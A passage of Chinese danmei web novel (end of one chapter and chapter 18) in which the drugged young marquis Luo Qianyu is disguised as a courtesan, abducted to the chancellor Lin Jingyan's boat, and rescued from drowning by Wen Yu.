一道娇柔声音从门口传来,随即戛然而止。
洛千俞挪开视线,只见一名貌美女子站在门口,看打扮像是船娘,手中端着盒胭脂,正目瞪口呆看向他们。
显然没料到会撞见这一幕,船娘手中的盘子啪地掉落而下,朱红粉末散落一地。
“这是……”那船娘结结巴巴,脸瞬间涨得通红,显然被眼前场景吓得不轻。
柳刺雪眉头一皱,迅速起身,身形一闪便到了那女子面前。只抬手在她颈后轻轻一按,船娘便软软倒了下去,被他接住放在一旁。
“真他娘的会赶时候。”柳刺雪揣着手臂,难得露出烦闷的真实表情,低声骂了一句,随即听到门外又传来一阵催促声,“柳儿姑娘,在磨蹭什么?客人们都等急了,快过来!”
柳刺雪脸色一沉。
随即看了一眼榻上的洛千俞,又看了看倒在地上的船娘,眼中闪过一丝异样,不知想到了什么。
洛千俞心中一紧,涌上一股不详预感,道:“做什么?”
柳刺雪却不答,转身从一旁衣柜中取出套服饰,裙摆绣着旖旎花纹,珠帘遮面,通身红色,俨然是花魁娘子的衣物。柳刺雪低下声,只喃喃道:“小侯爷,你这张脸,这身段,若是扮起女装来,会不会比那花魁娘子还要美上几分?”
“……变态。”洛千俞好半天才吐出一句,震惊于柳刺雪的变态程度,挣扎着想起身,却发现迷香药效正深,依旧浑身无力。
于是夹带着对方祖宗八辈骂了起来。
柳刺雪放声一笑,竟也不恼,动作娴熟利落地为洛千俞换上女装,低声道:“劳烦小爷受些委屈,陪奴家演一出戏。”
接着玉手轻抬,点了洛千俞的哑穴。
“小爷无需做什么,只需安坐一旁,奴家自会替你周旋。”柳儿将他抱起,轻声安慰:“等这场戏落幕,定放公子安然离去。”
“作为回礼,需要公子考虑的,唯有那一件事罢了。”
-
画舫之上灯火通明,丝竹悦耳,曲曲悠扬。
几位公子围坐在一张红木雕花长桌旁,桌上摆满各色珍馐美酒,香气四溢。几人推杯换盏,聊到尽兴处,不由得笑声不断,甚是热闹。
然主位之上,那身着蓝衣的公子却与周遭氛围格格不入。
他单手撑着下颌,另一只手握着酒杯,眸光游离,神色淡漠,自顾自地给自己斟着酒,似对周遭诸事皆兴味索然。
“哎,他这是作甚?一副没精打采的样子?”有人忍不住问。
“你说楼公子?说他那霜打了般的模样?”一名身着红衣的公子轻抿了口酒,嘴角勾起一抹笑意,语带调侃,“甭管他,这几日他皆是如此,出来饮酒也是心不在焉,实在扫兴。”
楼衔抬眸,冷冷瞥了那红衣公子一眼,沉声道:“你们胆子愈发大了,如今竟敢编排到我头上来了。”
“别生气嘛。”一旁身着紫衣的公子见状,轻笑一声,端起酒杯一饮而尽,而后看向那发问之人,揶揄道:“你还不知道?他前些日子触了小侯爷的霉头,不知怎么惹得人家生气了,好几日没见他。”
“他呀,心早就飘到侯爷府去了!”
“还有这等事?”
“自然。”红衣公子强忍着笑意,道,“楼兄这些日子想尽法子,变着花样讨人开心,又是送矫健的鹰隼,又是赠神骏的马匹,可那小侯爷偏偏只留了一句话。”
“哦?什么话?”
那红衣公子却故意卖起了关子,好半晌都不肯开口。
“真是急煞人也!”那人竖起耳朵,连连催促:“休要卖关子,快些说来,究竟说了什么?”
紫衣公子终究耐不住性子,压低声音,一字一顿道:“…学堂见。”
“从此,楼兄便天天惦记着上学,哈哈……从前哪见过他这副模样?”
众人闻听此言,皆笑得前俯后仰,许久停不下来。
“怪不得!哈哈哈哈!!咱们楼大公子,昔日恨不能日日逃学逍遥自在的主儿,何时这般用功勤勉过?”
楼衔脸色越发阴沉,手中酒杯几乎要被捏碎,猛地将酒杯重重磕上桌角,发出“砰”的一声闷响。
他眉头微蹙,冷冷道:“闭嘴。”
几人见他动了真怒,这才收敛,不敢再做声。
就在此时,门外传来动静。
柳儿一袭青衣,缓步走入厅中,丝竹声渐起,然而,与平日不同的是,他身旁竟多了一位身穿红衣的花魁娘子。
那端坐一旁的美人头戴珠钗,面覆珠帘轻纱,虽看不清全貌,但那双眉眼如初春桃花,粼熠碎金。
眼波流转间,宛若勾人心魄。
只是,那花魁娘子始终一言不发,也不曾动弹,仿佛一尊精致玉雕,只静静坐在那里。
见几人面露疑惑,柳儿没等唱起,只轻轻一笑,才向几位哥儿解释:“公子们,这位小娘子前些日子染了风寒,才刚痊愈,身子还虚弱得很,又天生不能言语,今夜恐怕只能在旁陪着公子们听听曲儿,还望各位公子海涵。”
几人闻言,皆有些失望。
但目光却不由自主地被那花魁娘子吸引,然后就看到那花魁娘子冷着玉面,朝他们翻了个白眼。
“……?”
是他们看错了?
曲声一起,柳儿嗓音清亮婉转,唱的正是时下最流行的《牡丹亭》,可偏偏今日,在场之人皆有些听不进去,目光频频瞥向那静坐着蒙了珠帘薄纱的花魁娘子,愈是清冷,愈撩动心绪。
楼衔靠坐在榻上,手中握着一杯酒,眼皮都未抬一下,只觉眼前这场合烦乱恼人,无趣至极。
况且,他还认识这柳儿。
楼衔微微蹙眉,不禁回想起在摘仙楼时小侯爷对柳儿格外上心的局促模样,说起来,那柳儿都比自己重要。
一时心中烦闷得紧,酒杯一震桌案,喝声叫了停:
“滚,都滚出去!”
刹那间,一切声音戛然而止。
几位公子面面相觑,不知楼大公子为何突然发怒,柳儿却未多言,只停了曲,便准备带着人一同出去。
楼衔抬眸,目光不经意间扫向那穿着红衣的花魁娘子。
紧接着,握着酒杯的手陡然一顿,眼神中闪过一丝异样,像是愣住了。
众人未反应过来时,却忽然听楼衔冷冷开口:
“她留下。”
……
说的正是花魁娘子。
洛千俞心中一动。
方才一进门他就看到了自家小跟班,不由一喜,这种时候遇到知根知底的熟人和救命稻草没什么区别,谁知从进屋开始直到即将退场,这厮光顾着喝闷酒,竟
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是连头都不抬一下,气的他直翻白眼。
但好在最后关头,对方终于靠谱一回。
不过,楼衔这是……认出他了?
柳儿脚步一顿,回头看向楼衔,眼中闪过一丝阴冷,但很快敛下,她轻轻一笑,语气恭敬:“楼公子,这位小娘子身子孱弱,怕是伺候不了您。”
楼衔冷冷扫她一眼,明显不想多废话:“听不懂话吗?我说了,她留下。”
柳儿磨了下牙:“既然如此,那便依楼公子的意思。”
说罢,只意味深长看了眼花魁娘子,便跟随其他人一同退了出去。
房内蓦然安静下来。
只剩下楼衔与他两人。
楼衔依旧半倚在塌上,自顾自独酌了一阵,像是把方才他留下的人给忘了,洛千俞隔着道薄纱,坐在椅上,有些无言地看着他。
这楼衔是不是染上酒瘾了?
只是喝了这么久都没停,却不见酒意上头,平日与自己出去极少碰酒,现在看倒是个千杯不倒的选手。
许久,楼衔像是才留意到他,沉默着起身。
男人脚步坚稳,眸光清明,换成旁人甚至看不出任何喝过酒的模样,洛千俞却察觉对方步履没平时沉,脚下发飘,瞳孔聚焦间隐隐有飘忽之色。
看来还是醉了。
果然,那人一靠近,相比于平日里熟悉的味道,更明显的是酒气,看那奢靡杯盏,恐怕还是那种后劲极大的好酒。
洛千俞刚思忖着该如何提示楼衔,或是引导对方自己发现,却只听闻咚得一声,那人竟直接俯下身。
本是居高临下,这么单膝一跪,倒是与他堪堪平视了。
“你是柳儿身边的人?”
楼衔停了数秒,低声道:“听闻我在画舫,便以为小侯爷也在画舫,便派你来勾引他?”
这声音低沉,与平时与他说话的音色不同,正经的有些可怕。
若不是闻到对方唇齿间的酒气,洛千俞或许真以为楼衔此刻清醒得很,眼下不是闲聊,而是在盘问问话。
小侯爷斟酌顷刻,还是摇了下头。
“哼,可惜啊。”楼衔鼻息轻叹,捏住花魁娘子的下颌,冷冷道:“美人计也不再管用了,他如今连我都不见,又怎会见你?”
洛千俞眉头轻蹙,疼得吸了口气。
“这般娇气?”楼衔松了手,目光直勾勾的,却仿佛没望向实处,只低声念道:“怎么和他一样。”
“我在意之人生我的气,几日不肯见我,他性子倔,又心软,我不知道该如何哄。”
他淡淡问:“你说该当如何?”
“……”
洛千俞被点了哑穴,此刻说不出话,只能指望楼衔机灵些,早点察觉出异样,认出自己就是他那日思夜盼想要见一面的小侯爷。
“那匹披风烈马不该送…他说过的,我竟没听,明明叮嘱过我的事,难为他生气……”楼衔停顿数秒,声音软下来,随即又捏紧拳头,懊恼道:“还有那只嗜香的胖鸟,竟被闻钰那厮抢了去,想想这三年来,小侯爷何时路见不平出手救过人?分明是看他生得俊朗……”
“除了前朝太子,他心里留不住人,更何况是个家道中落的状元……而如今太子已死。”
“他没了太子哥哥,心中有了空缺,我便成为那个空缺。”
“他想要的,我全夺来给他就是……”
“……”
洛千俞隐隐觉得眼前这个情况,有那么一点点不对劲。
楼衔…好像仗着他是哑巴,将他当作了难得的倾诉对象?
楼衔单手撑地,将头埋在小侯爷的腿上,咕哝般低声道:“你这般好看,要是献给小侯爷……他是不是就肯理我了?”
话音一落。洛千俞听得一怔,头上蹦出黑线,恨不得当场给这人脑袋一下。
这个呆子!
不知是生气还是恨铁不成钢,花魁娘子勉强压下升腾的火气,也不知从哪儿生出的力气,颤颤巍巍抬了手,给了这醉鬼一巴掌。
那力道不大,掌心细嫩,甚至些许软绵绵的。
可声音倒是清亮,啪的一声。
室内本就安静,楼衔甚至都没侧过脸去,只僵在原地,微微一愣。
洛千俞扇完就有点后悔。
暗道这下有些冲动,毕竟楼衔此刻不知晓自己真实身份,这一下,相当于平民打了贵家公子,明晃晃的犯上。
谁知,楼衔却随即握住他的手,指腹捏了捏洛千俞手心,放到面庞边,暗自欣喜道:“性子这般烈?甚好,也是他喜欢的。”
小侯爷:“……”
坏了。
给他扇爽了。
18.第 18 章
洛千俞听不下去,偏偏被握着手,中了香本就虚软无力,这下更是抬都抬不起来。
方才那几人临走之时,纷纷识趣地关了门,房内灯烛皆被吹灭,只留下一盏。
正当此时,只听“砰”的一声。
一道黑影破窗而入,雕花窗棂随之碎裂!
那人速度快得措手不及。楼衔神智还未反应过来,身体的本能却已先一步克制了醉意,眸光一凛,拔剑起身。
仅是交手的那一刹那,楼衔却意识到,这黑衣人并非奔着他来!
他下意识转头,还未回招之际,那黑影已一把揽起洛千俞,身形一闪,便从窗口跃了出去。
楼衔瞳孔一紧,眸间染上疑惑,残存的理性却令他停住脚步。
虽不觉得这花魁娘子有何重要,被掠走了也无所谓,可看着这一幕,心口却莫名像被一把赤焰横剑洞穿,满腔落了空,连带着五脏六腑都焦灼难耐,战栗不止。
残破窗棂纸被劲风吹得哗哗乱响,楼衔捏紧剑柄,迅速追至窗边,却只见那黑影已带着红衣花魁跃上另一艘画舫。
他足尖在画舫飞檐间轻点,几个起落,便迅速消失在夜色之中。
-
夜风自耳边呼啸而过,洛千俞被那黑衣人揽在腰侧,眼下湖面密林与画舫灯火飞速掠过,穿梭如入无人之境。
那黑衣人低声自语,畅快道:“兜兜转转,还不是回到我手里!”
怀中之人并未回应,他不由得低头,发现小美人已经醒了,正蹙眉瞪着自己,像是说不出话,此时却换了身装扮,竟越看越像花魁船娘,想必在被自己弄丢期间,遭了不少罪。
黑衣人察觉异样,审视少顷,不由得生出股怜香惜玉的心思,腾出一只手解了对方的哑穴。
谁知对方轻咳一声,喘了口气,一开口竟是:“你这蠢货,绑错人了!”
那黑衣人一愣,听不得这个似的,怒道:“你们这群无礼之徒,一个两个都唤我蠢货,欺人太甚!”
哈?现在被扛着的是谁?又是谁因为中香动弹不得?
谁才是无礼之徒?哪个欺人太甚!
洛千俞气的不轻,却很快冷静下来,拘泥于口舌之争显然无用,此时正是坦白身份局,启唇道:“听着,无论此番是何人差遣你来,那人目标绝不是我!我乃安北侯洛镇川与卫国公府嫡长女孙氏之子,洛府家的世子洛千俞!”
“今日你若动我分毫,便是与两大世家为敌,给你家主子复命之前,先掂量掂量自己有没有这个命。”
“趁这颗脑袋还长在脖子上,好生想想,莫要糊涂行事!你家主人在你临行前,可有吩咐得明明白白?让你绑的人,当真是那鼎鼎有名、又行事招摇的小侯爷?”洛千俞一股脑道出了声。
心中却有丝异样感,穿书以来,原主这金枝玉叶的尊贵身份,似乎第一次真正意义派上了用场。
那黑衣人听得愣了神,可仅仅停滞片刻,却噗嗤一声,放声大笑起来。
“你是小侯爷?我还大熙皇帝呢!”
他又调侃道:“你欲取我项上人头,莫不是视同谋逆弑君之罪?”
“……”小侯爷忽然沉默下来。
说再多也没用,这人是个傻的。
而那黑衣人听完这番话,并非全然无动于衷,而是从袖中抽出张黑色方巾,蒙上了小侯爷的眼睛,又在脑后绑了个结。
他想,这小美人着实机灵,为了逃跑什么点子都想得出来。若是让他偷偷记清了路,寻个空隙伺机逃跑,反而白费了这番功夫。
-
洛千俞感受到耳边风声停滞。
周遭安静下来时,他也被放下,背靠于木阁角落,只听那黑衣人低声复命:“大人,人已带到。”
视觉感官被剥夺,只是透过那层布料,依旧一片漆黑,像是来到了一处光线偏暗的地方。洛千俞眉梢动了动,迷茫却警惕,唯独能倚靠的唯有听觉。
不远处传来一道低沉声音,携了几分散漫:“嗯,退下吧。”
洛千俞微微一怔。
这声音……有些耳熟。
他似乎听过,又听得不多,只是印象深刻,却一时想不起是谁。
小世子一身红衣,珠帘因着晃动哗啦作响,原本用来遮目的黑巾却遮盖了大半面庞,朱砂殷红,颈侧白皙,与那身衣裙珠联璧合,衬得皮肉雪一般晃人。
他似是侧目,不动声色听察着外部动静,却连敌人视线直直落在自己身上也无从察觉。
仅是过了少顷,洛千俞抿了下唇,几乎笃定地道出了声:
“蔺京烟。”
那人沉而淡淡地“嗯”了声,强大气场愈显沉寂冷冽,鼻息短叹悠扬,继而开口:“记得我的声音?”
记得?当然记得。原著可有不少只奔着声音就毅然站你的CP粉,况且小侯爷和丞相大人积怨不浅,如今他顶替闻钰,和大反派打上照面,也算是冤家路窄了。
洛千俞心中感叹——
还真是买股攻之一?又是那人气超高的大反派股?
今晚是他妈什么流水席?!
心情顿感复杂。不是对他,而是对闻钰。
以前透过毫无温度的书本,只觉这万人迷光环所带来的无妄之灾甚是熬人,读者呜嗷喊着带感的同时,他对闻钰抱着的,或许只是些许置身事外的同情。
而如今亲自以闻钰的视角真正走了一遭,才发觉小美人所经历过的一切令他难以想象。
他甚至无法忍受这一时,难以料想这却是闻钰必经的苦难与日常,也是美人受负隅依阻却难以逃离的生活。
这种举步维艰的处境,几乎贯穿了他的一生,究竟怎样强大的心脏才会对此习以为常?
幸亏那黑衣人用方巾掩他的面,只露了口鼻,蔺京烟认不出他究竟何人。
或者说,等发现自己竟不是心心念念的美人,而是恨不能除之而后快的小侯爷,也算是另一种形式的吃瘪了。
“丞相大人好兴致。”小侯爷冷冷一笑,声音掩下谑意:“画舫独游还找来京城第一美人相伴,找不来就用抢,抢不来,就使些下三滥的阴招,绑也要绑来。”
并没急着自爆家门,而是将错就错,以闻钰的身份,逮到机会便疯狂挑衅羞辱,戳人胸窝:“只是草民未曾服侍过男人,还是像丞相大人这般……身体有陷之人,草民有些担心,常闻岁月如刀,如今蔺大人年过三十,可否心有余而力不足了?”
三十二岁的丞相,纵观历史已算极其年轻有为。只是小侯爷仗着年轻,张口闭口说人家不行,作为痛击情敌的手段不失十分高效。
“千俞原来是这般看待本相。”蔺京烟低低笑了声,却并无恼意,缓缓道:“只是,这‘心有余而力不足’的结论从何而来 ?本相愿闻其详。”
草。
竟然认出他了?
这狗丞相,究竟何时开始认出他的?
那人笑声若是寻常人听了,保准耳根一麻,声控党承受不住,可落在小侯爷耳中,就是妥妥的大反派专用音,比警钟还警钟。
“丞相大人独手不便,但凡行事皆需假他人之手,这不是心余力绌,又是什么?”
小侯爷也不装了,与其虚与委蛇,不如贴脸开大,直截了当地道,“丞相大人杀意尽显,不加掩饰,那刻着‘舟’字的暗箭,至今还沾染着在下坐骑的斑斑血迹,这才过去多久,便忘得干净了吗?”
洛千俞视线受阻,不知那人作何表情,只等到了一阵沉默,才忽然听到那人开口。
只是这次,那嗓音中似有若无的笑意莫名褪得无影,听不出语气:“你的马中了箭?”
小侯爷先是一愣,随即发出由衷的感叹:
蔺丞相,你是真能演啊。
“是,大人很意外?”洛千俞挑起眉梢,淡淡道:“亦或是……大人真正意外的是,小侯爷如今竟还安然无恙,非但毫发无损,还生龙活虎。并非你意料之中尝尽苦头、半身不遂的模样?”
那人沉默半晌,才缓缓开了口:“你说短箭上刻了一个舟字?”
“是。”
不知道是不是受到原主对这位丞相大人一派挑衅的心性,洛千俞面围下的睫羽微动,此刻心中忐忑尽褪,再无半分惧意:“你欲挑起党争之乱,我偏不如你愿。蔺京烟,不论你妄图谋取什么,在我这儿都得不到半分。”
“你若心中愤懑难平,不妨趁此时机,将我除之而后快,以绝后患。若是没这胆量,往后无论是我,还是侯府,都不会再让你分毫。”小侯爷背靠着木塌,像是想到什么,轻笑一声:“还有你护着的那条狗,全松乘是吧?纵是他和你的亡妻沾亲带故,你念及旧情,又与我有何干系?”
“大人若一心想护着,便将他牢牢拴在身边,切勿乱跑。”
“否则他日乱跑出去,咬了人,平白惹出祸端来……”洛千俞轻笑一声,低声道:“小爷我见一次打一次。”
“等到那时,可就顾不上谁是主人了。”
……
话音未落,忽然听到房间外远处传来一阵急促的脚步声,纷乱不识,紧接着是刀剑出鞘的铮鸣声,层叠不穷,有人声音陡然一变,高声喊:“有人擅闯!”
“有刺客!”
“保护丞相大人!”
洛千俞跟着一愣,心头霎时一紧,继而不由得砰砰直跳。
这个时候,来的人会是谁?
莫非是侯府的救兵?
昏迷的春生被发现了,然后报了信?可又是如何这么快发现他遇险,并派人准确追到这里?
可能性不大……难不成是不死心的柳刺雪?还是楼衔?
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>都不对。
关键是,谁会有这么大的胆子擅闯丞相船只!?
思忖间隙,洛千俞听到破窗之声,就在耳边。
未反应过来时,他忽觉重心一轻,身体随之悬空,像是被人揽过腰身抱了起来。
心头一阵狂跳。
抱起他的人未曾开口,托着他的掌心却沉稳有力,尽管无从辨认,小侯爷眉梢一滞,没由来的涌上慌乱,因为一丝若有若无的香气渡入鼻尖,气息微乱,不由得瞳仁一颤。
这熟悉的香气……
是闻钰!
闻钰怎么会出现在这里?!
那人的声音贴着耳边,没有赘述,清冷如玉,再次证实了心中所想:
“人我带走了。”
更多的侍卫听闻声音纷纷踏上船只,携着刀剑冲入房间:“丞相大人!”一进雅间,却皆扑了个空。
而几名武功高强的暗卫对视一眼,早已察觉那不速之客已不在这艘画舫,眸光凛起,紧追而去。
越过几艘画舫,风声在耳边不断,洛千俞只觉先前看过的那些影视剧都弱爆了。
这才是真正的追逐战,神经绷紧,肾上腺素飙升,什么才是真正实力?这才是书中令他看得入迷的美人受!
身后的风声也紧随而至,丞相身边的高手不容小觑,有些棘手,几人配合果断,身形迅速,多方围剿,才勉强将那不速之客短暂停留在一叶木舟之上。
追来几人停下脚步,似乎从未见过如此高手,他们眼中闪过跃跃欲试之意,出招之间大有鱼死网破的气势,剑气四溢,刃刃相逼。
于此同时,也在交手之间,悄然察觉到这不速之客的弱点,便是他怀中的花魁小娘子!
于是几番招式直奔他护着的那人,几个来回,却是连那破绽的衣角都没沾到。恰逢一人失足落水,他全力挥出最后一刃,直逼怀侧!
就在此时,咔嚓的声音突然吱吱作响。
竟是小船不堪重负,瞬间崩裂!
几人惊呼一声,四周邻近船只皆已驶远,连利用轻功避险都无从可使,纷纷落水。
同时落入水中的,还有洛千俞。
他深知闻钰轻功了得,这几名高手加起来都难以与之对手,可在如此险峻情况下,只有放弃自己,选择自保,或许还能全身而退,甚至衣摆滴水不沾。
也难怪这几人生怕被驳了颜面,不惜弄出这般架势,若是闻钰稍微涌上理智,便能意识到救不走自己,并迅速做出决断……比如趁机跑路。
这么多高手围剿的情形下,没人会冒着巨大风险,不惜拼上性命也要折返下水。
只是,这么想着的同时,视野瞬时黑了大半。
空灵的水声环绕耳腔。
小侯爷事先憋了气息,却因药力后劲不足,猝不及防呛了一大口水。
空气被掠夺,意识在反抗,却因为身体动弹不得,根本无法游岸自救。
本能挣扎的求生手段也被强行剥夺,只能无力下沉,意识到没人会来救他,最绝望的处境莫过于此。
不知不觉间,呼吸变得迟钝,溺毙感临近,心头切实涌上了恐惧,窒息感来的比他想象的更快。
湖面之下漆黑一片。
他要死了。
不是战场,也并非朝堂,而是在这种无人知晓的地方,结束这短暂又荒唐的一生。
洛千俞视野发黑,无力挣扎,感受着死亡一丝丝逼近,巨大的恐慌感蔓延周身。
意识消散前,一只手忽然握住了他的手腕。
浅阖的眼帘随之一抖,继而托住后背,腰身也被揽紧,将他带离那片将人溺毙的黑暗。
接触到空气之时,洛千俞重重喘了口气,却没咳出水。
远处画舫的光亮涌入被蒙住的视线,星星点点,泛冷空气侵袭周身,令人瑟缩,随之而来的,还有一丝钻入鼻腔的、熟悉的香气。
那一刻眼眶莫名发烫的热意,差点让小世子流下眼泪。
他知道,自己得救了。
-
闻钰将洛千俞抱上了岸。
怀中之人鞋袜不知掉落在何处,水帘带着沉意,从垂下的白皙脚趾滑落,练成了线。
小侯爷溺了水,不由得蹙紧眉梢,睫羽微颤,下意识握住闻钰的衣角,只轻咳一声,便没了声息,脚上的红色发带也湿透了。
闻钰将怀中之人搂紧,感受着对方浑身发冷,连带着唇色由红染白,红衣彻底打湿,被洇湿的布料紧挨着闻钰的胸膛,贴着小腿,滴着淅淅沥沥的水。
洛千俞被放到岸边,发软的身体挨到实处。
闻钰俯下身,伸手解了对方脚踝的红发带。调动气力引着溺进胸腔的水,另一只手揽过腰身,捏住洛千俞下颌,轻启双唇。
夹杂着微凉的湿润触感,低头吻了下去。